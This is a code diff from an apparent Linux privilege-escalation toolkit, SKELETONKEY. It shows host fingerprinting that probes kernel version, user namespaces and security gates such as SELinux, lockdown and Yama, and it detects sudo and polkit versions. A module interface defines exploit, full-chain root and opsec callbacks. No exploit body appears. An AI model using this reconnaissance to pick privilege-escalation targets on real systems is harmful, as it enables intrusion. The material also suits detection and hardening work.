#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#endif
|
||||
|
||||
static struct skeletonkey_host g_host;
|
||||
static bool g_host_ready = false;
|
||||
|
||||
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||
|
||||
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||
* value (after `=`). Cap is the size of dst including NUL. */
|
||||
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||
{
|
||||
const char *p = s;
|
||||
if (*p == '"' || *p == '\'') p++;
|
||||
size_t L = strcspn(p, "\"'\n");
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, p, L);
|
||||
dst[L] = '\0';
|
||||
}
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||
static bool read_int_file(const char *path, int *out)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
int v;
|
||||
int n = fscanf(f, "%d", &v);
|
||||
fclose(f);
|
||||
if (n != 1) return false;
|
||||
*out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||
fclose(f);
|
||||
size_t n = strlen(dst);
|
||||
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── populators ───────────────────────────────────────────────────── */
|
||||
|
||||
static void populate_kernel(struct skeletonkey_host *h)
|
||||
{
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||
* does not warn about possible truncation (we WANT truncation;
|
||||
* the snprintf already caps). */
|
||||
snprintf(h->arch, sizeof h->arch,
|
||||
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||
snprintf(h->nodename, sizeof h->nodename,
|
||||
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||
}
|
||||
/* kernel_version_current owns the static release-string buffer
|
||||
* and the parser — reuse it to keep one source of truth. */
|
||||
kernel_version_current(&h->kernel);
|
||||
}
|
||||
|
||||
static void populate_distro(struct skeletonkey_host *h)
|
||||
{
|
||||
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0)
|
||||
parse_os_release_value(line + 3,
|
||||
h->distro_id, sizeof h->distro_id);
|
||||
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||
parse_os_release_value(line + 11,
|
||||
h->distro_version_id, sizeof h->distro_version_id);
|
||||
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||
parse_os_release_value(line + 12,
|
||||
h->distro_pretty, sizeof h->distro_pretty);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
static void populate_user(struct skeletonkey_host *h)
|
||||
{
|
||||
h->euid = geteuid();
|
||||
h->egid = getegid();
|
||||
h->is_root = (h->euid == 0);
|
||||
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||
|
||||
h->username[0] = '\0';
|
||||
struct passwd *pw = getpwuid(h->euid);
|
||||
if (pw && pw->pw_name)
|
||||
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||
|
||||
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||
* discover the outer uid if we're inside a user namespace. Format
|
||||
*
|
||||
* "0 0 4294967295" → init ns, outer == 0
|
||||
* "0 1000 1" → userns mapped, outer == 1000
|
||||
*
|
||||
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||
h->real_uid = h->euid;
|
||||
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
char buf[256];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
int inner = -1, outer = -1, count = 0;
|
||||
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||
inner == 0 && outer > 0)
|
||||
h->real_uid = (uid_t)outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void populate_platform_family(struct skeletonkey_host *h)
|
||||
{
|
||||
#ifdef __linux__
|
||||
h->is_linux = true;
|
||||
#else
|
||||
h->is_linux = false;
|
||||
#endif
|
||||
h->is_debian_family = path_exists("/etc/debian_version");
|
||||
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||
path_exists("/etc/fedora-release") ||
|
||||
path_exists("/etc/rocky-release") ||
|
||||
path_exists("/etc/almalinux-release");
|
||||
h->is_arch_family = path_exists("/etc/arch-release");
|
||||
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||
path_exists("/etc/SUSE-brand");
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||
static bool userns_probe(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return false;
|
||||
if (pid == 0) {
|
||||
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return false;
|
||||
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void populate_caps(struct skeletonkey_host *h)
|
||||
{
|
||||
h->unprivileged_userns_allowed = false;
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
|
||||
#ifdef __linux__
|
||||
h->unprivileged_userns_allowed = userns_probe();
|
||||
|
||||
int v = 0;
|
||||
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||
h->apparmor_restrict_userns = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||
h->unprivileged_bpf_disabled = (v != 0);
|
||||
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||
h->selinux_enforcing = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static void populate_services(struct skeletonkey_host *h)
|
||||
{
|
||||
h->has_systemd = path_exists("/run/systemd/system");
|
||||
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||
* succeeded, the command exited 0, and we got at least one line.
|
||||
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char buf[256];
|
||||
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||
int rc = pclose(p);
|
||||
if (!got || rc != 0) return false;
|
||||
size_t L = strlen(buf);
|
||||
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||
buf[--L] = '\0';
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, buf, L);
|
||||
dst[L] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Extract the version-string token from a line of the form
|
||||
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||
* version token is everything from the first non-space after
|
||||
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||
* found. */
|
||||
static void extract_version_after_prefix(const char *line,
|
||||
const char *prefix,
|
||||
char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
const char *p = strstr(line, prefix);
|
||||
if (!p) return;
|
||||
p += strlen(prefix);
|
||||
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||
dst[i++] = *p++;
|
||||
dst[i] = '\0';
|
||||
}
|
||||
|
||||
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||
{
|
||||
h->sudo_version[0] = '\0';
|
||||
h->polkit_version[0] = '\0';
|
||||
|
||||
char line[256];
|
||||
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "Sudo version",
|
||||
h->sudo_version, sizeof h->sudo_version);
|
||||
|
||||
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "pkexec version",
|
||||
h->polkit_version, sizeof h->polkit_version);
|
||||
}
|
||||
|
||||
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||
{
|
||||
if (g_host_ready) return &g_host;
|
||||
|
||||
memset(&g_host, 0, sizeof g_host);
|
||||
populate_kernel(&g_host);
|
||||
populate_distro(&g_host);
|
||||
populate_user(&g_host);
|
||||
populate_platform_family(&g_host);
|
||||
populate_caps(&g_host);
|
||||
populate_services(&g_host);
|
||||
populate_userspace_versions(&g_host);
|
||||
g_host.probe_source = "skeletonkey core/host.c";
|
||||
g_host_ready = true;
|
||||
return &g_host;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch)
|
||||
{
|
||||
if (!h || h->kernel.major == 0)
|
||||
return false;
|
||||
if (h->kernel.major != major) return h->kernel.major > major;
|
||||
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||
return h->kernel.patch >= patch;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_M, int lo_m, int lo_p,
|
||||
int hi_M, int hi_m, int hi_p)
|
||||
{
|
||||
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||
}
|
||||
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||
{
|
||||
if (json || h == NULL) return;
|
||||
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||
h->nodename[0] ? h->nodename : "?",
|
||||
h->is_root ? " (ROOT)" : "",
|
||||
h->is_ssh_session ? " (SSH)" : "",
|
||||
h->kernel.release ? h->kernel.release : "?",
|
||||
h->arch[0] ? h->arch : "?",
|
||||
h->distro_id[0] ? h->distro_id : "?",
|
||||
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||
h->apparmor_restrict_userns ? "on" : "off",
|
||||
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||
h->kpti_enabled ? "on" : "off",
|
||||
h->kernel_lockdown_active ? "on" : "off",
|
||||
h->selinux_enforcing ? "on" : "off",
|
||||
h->yama_ptrace_restricted ? "yes" : "no");
|
||||
if (h->sudo_version[0] || h->polkit_version[0])
|
||||
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||
h->sudo_version[0] ? h->sudo_version : "-",
|
||||
h->polkit_version[0] ? h->polkit_version : "-");
|
||||
}
|
||||
+142
@@ -0,0 +1,142 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint
|
||||
*
|
||||
* Populated once at startup, before any module's detect() runs. Every
|
||||
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||
* forking another userns probe.
|
||||
*
|
||||
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||
* pointer on every call. The first call probes; subsequent calls
|
||||
* are O(1) lookups.
|
||||
*
|
||||
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||
* the call, just leaves the corresponding bool false.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_HOST_H
|
||||
#define SKELETONKEY_HOST_H
|
||||
|
||||
#include "kernel_range.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct skeletonkey_host {
|
||||
/* ── identity ─────────────────────────────────────────────── */
|
||||
|
||||
struct kernel_version kernel; /* uname.release parsed */
|
||||
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||
char nodename[64]; /* uname.nodename (for log lines) */
|
||||
|
||||
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||
|
||||
/* ── process state ─────────────────────────────────────────── */
|
||||
|
||||
uid_t euid; /* geteuid() */
|
||||
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||
gid_t egid; /* getegid() */
|
||||
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||
bool is_root; /* euid == 0 */
|
||||
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||
|
||||
/* ── platform family ───────────────────────────────────────── */
|
||||
|
||||
bool is_linux; /* compiled / running on Linux */
|
||||
bool is_debian_family; /* /etc/debian_version exists */
|
||||
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||
bool is_arch_family; /* /etc/arch-release */
|
||||
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||
|
||||
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||
|
||||
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
/* ── system services ──────────────────────────────────────── */
|
||||
|
||||
bool has_systemd; /* /run/systemd/system exists */
|
||||
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||
|
||||
/* ── userspace component versions ─────────────────────────
|
||||
* Parsed once at startup via popen() of the relevant binary's
|
||||
* --version output. Empty string ("") means "tool not installed
|
||||
* or version parse failed" — modules should treat that as
|
||||
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||
* 0.105`, …); modules do their own range parsing. */
|
||||
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||
|
||||
/* Informational: the SKELETONKEY component that populated this
|
||||
* snapshot (for log/JSON output). */
|
||||
const char *probe_source;
|
||||
};
|
||||
|
||||
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||
* lives for the process lifetime. Probes happen lazily on the first
|
||||
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||
* subsequent calls are free.
|
||||
*
|
||||
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||
* the corresponding bool false. The function does not fail. */
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||
|
||||
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||
|
||||
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||
* false if h is NULL or its kernel version was never populated (major
|
||||
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||
* and one place to get the comparison right.
|
||||
*
|
||||
* Examples:
|
||||
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||
* return SKELETONKEY_OK;
|
||||
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||
* return SKELETONKEY_OK;
|
||||
*/
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch);
|
||||
|
||||
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||
* gates where the simple `kernel_range_is_patched` backport model
|
||||
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||
* lines" check.
|
||||
*
|
||||
* Equivalent to:
|
||||
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||
*
|
||||
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||
* `in_range` form is for the bounded interval case.
|
||||
*
|
||||
* Example:
|
||||
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||
* // introduction/fix dates (ignoring stable backports)
|
||||
*/
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_major, int lo_minor, int lo_patch,
|
||||
int hi_major, int hi_minor, int hi_patch);
|
||||
|
||||
#endif /* SKELETONKEY_HOST_H */
|
||||
+2
-2
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel_range implementation
|
||||
* SKELETONKEY — kernel_range implementation
|
||||
*/
|
||||
|
||||
#include "kernel_range.h"
|
||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
||||
if (uname(&u) < 0) return false;
|
||||
|
||||
/* Stash release string for callers that want to print it. We hold
|
||||
* a single static buffer; not threadsafe but iamroot is single-
|
||||
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||
* threaded today. */
|
||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||
out->release = g_release_buf;
|
||||
|
||||
+4
-4
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel version range matching
|
||||
* SKELETONKEY — kernel version range matching
|
||||
*
|
||||
* Every CVE module needs to answer "is the host kernel in the affected
|
||||
* range?". This file centralizes that.
|
||||
@@ -17,8 +17,8 @@
|
||||
* patch version is at or above the threshold.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
||||
#define IAMROOT_KERNEL_RANGE_H
|
||||
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||
#define SKELETONKEY_KERNEL_RANGE_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||
const struct kernel_version *v);
|
||||
|
||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
||||
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||
|
||||
+83
-33
@@ -1,59 +1,69 @@
|
||||
/*
|
||||
* IAMROOT — core module interface
|
||||
* SKELETONKEY — core module interface
|
||||
*
|
||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
||||
* via a registry function. The top-level dispatcher (iamroot.c) walks
|
||||
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||
*
|
||||
* This is intentionally a small interface. Modules carry the
|
||||
* complexity; the dispatcher just routes.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_MODULE_H
|
||||
#define IAMROOT_MODULE_H
|
||||
#ifndef SKELETONKEY_MODULE_H
|
||||
#define SKELETONKEY_MODULE_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||
*
|
||||
* These map to top-level exit codes when iamroot is invoked with a
|
||||
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||
* single-module operation:
|
||||
*
|
||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
*
|
||||
* Implementation note: copy_fail_family's df_result_t shares these
|
||||
* numeric values intentionally so the family code can return its
|
||||
* existing constants without translation.
|
||||
*/
|
||||
typedef enum {
|
||||
IAMROOT_OK = 0,
|
||||
IAMROOT_TEST_ERROR = 1,
|
||||
IAMROOT_VULNERABLE = 2,
|
||||
IAMROOT_EXPLOIT_FAIL = 3,
|
||||
IAMROOT_PRECOND_FAIL = 4,
|
||||
IAMROOT_EXPLOIT_OK = 5,
|
||||
} iamroot_result_t;
|
||||
SKELETONKEY_OK = 0,
|
||||
SKELETONKEY_TEST_ERROR = 1,
|
||||
SKELETONKEY_VULNERABLE = 2,
|
||||
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||
SKELETONKEY_PRECOND_FAIL = 4,
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
struct iamroot_ctx {
|
||||
/* Per-invocation context passed to module callbacks. The host
|
||||
* fingerprint (kernel / distro / capability gates / service presence)
|
||||
* is populated once at startup by core/host.c and handed to every
|
||||
* module callback here — see core/host.h. */
|
||||
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
bool active_probe; /* --active (do invasive probes in detect) */
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||
|
||||
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||
* once by main() before any module callback runs. Modules that
|
||||
* want to consult it #include "../../core/host.h". May be NULL
|
||||
* only in degenerate test contexts; main() always sets it. */
|
||||
const struct skeletonkey_host *host;
|
||||
};
|
||||
|
||||
struct iamroot_module {
|
||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
||||
struct skeletonkey_module {
|
||||
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||
const char *name;
|
||||
|
||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||
@@ -71,20 +81,20 @@ struct iamroot_module {
|
||||
const char *kernel_range;
|
||||
|
||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
||||
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Apply a temporary mitigation. NULL if none offered. */
|
||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||
* effects. NULL if no cleanup applies. */
|
||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Detection rule corpus — embedded so the binary is self-
|
||||
* contained. Each may be NULL if this module ships no rules for
|
||||
@@ -94,6 +104,46 @@ struct iamroot_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
